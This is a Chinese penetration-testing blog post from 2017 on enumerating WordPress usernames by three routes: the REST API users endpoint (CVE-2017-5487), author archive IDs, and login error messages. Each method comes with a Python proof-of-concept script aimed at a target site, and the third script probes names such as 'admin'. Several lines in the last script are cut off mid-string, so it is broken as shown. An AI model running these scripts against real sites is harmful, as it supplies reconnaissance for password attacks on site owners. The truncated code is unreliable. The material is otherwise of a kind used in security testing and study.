WordPress用户名枚举的几种方法

作者: LANDGREY ● 创建时间 2017年6月29日 13:27 ● 更新时间 2017年6月29日 16:21
浏览: 1181 次. ● 标签: #渗透测试
您的IP地址: 140.207.23.83

一. WordPress 用户名枚举漏洞

```
CVE-2017-5487  WordPress < 4.7.1 - Username Enumeration
```

WordPress 版本小于 4.7.1，配置了 REST API，访问下面的路径，就会返回包含用户名信息的json数据。**获得的用户名是最全的，速度也最快**，但是实测发现不少站点都不适用，批量效果不必太期待。

```
/wp-json/wp/v2/users/
```

demo :

```
#!/usr/bin/env python
# coding:utf-8
import requests

def poc(target):
    username = []
    try:
        req = requests.get('%s/wp-json/wp/v2/users/' % target)
        content = req.json()
        for v in content:
            username.append(str(v['link']).split('/')[-1])
    except:
        pass
    return username
```

二. WordPress 文章存档枚举用户名

访问下面的路径，如果存在对应用户id，则显示的页面中会包含用户。现在大部分工具在枚举用户名时采用此方法，**比较稳定**，遍历id足够多，**可获得较全的用户名**，但有一部分站点故意屏蔽了此方法枚举用户名。

```
/?author=id
```

因为版本和语言等差异，没有统一的正则匹配方法，所以demo中的正则表达式不是适用于所有情况的。

demo:

```
#!/usr/bin/env python
# coding:utf-8
import re
import requests



def poc(target):
    username = []
    try:
        for x in range(10):
            req = requests.get('%s/?author=%s' % (target, str(x + 1)))
            content = req.content
            for pattern in (u'author-(.*?) author-',
                            u'<span class="date">(.*?) '):
                match = re.findall(pattern, content)
                if match:
                    username.append(match[0])
    except:
        pass
    return username
```

三. WordPress 后台登录枚举用户

尝试登录 WordPress 默认后台

```
/wp-login.php
```

利用 **"某用户名存在但密码不正确"** 的特殊回复，确认某用户名存在，值得注意的是，对于存在的用户，登录密码错误不同站点可能有不同的提示，针对某个站点时最好先确认一下回复。

这种方法**获得的用户名最少**，**耗时也最多**，但对于**确认某个用户**是否存在，如"admin"来说，是**最有效**和**稳定**的。

demo:

```
#!/usr/bin/env python
# coding:utf-8
import re
import requests


def poc(target):
    username = []
    ua = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64
    try:
        for user in ('admin', 'admin1', 'test', 'manager'):
            data = {
                'log': user,
                'pwd': 'none_exits.Password',
            }
            req = requests.post('%s/wp-login.php' % target, data=data, headers=ua
            content = req.text
            for pattern in (u'为用户.?<strong>%s</strong>' % user,
                            u'<strong>%s</strong>的密码不正确' % user,
                            u'The password you entered for the username <strong>%
                exits = re.findall(pattern, content)
                if exits:
                    username.append(user)
    except:
        pass
    return username
```


<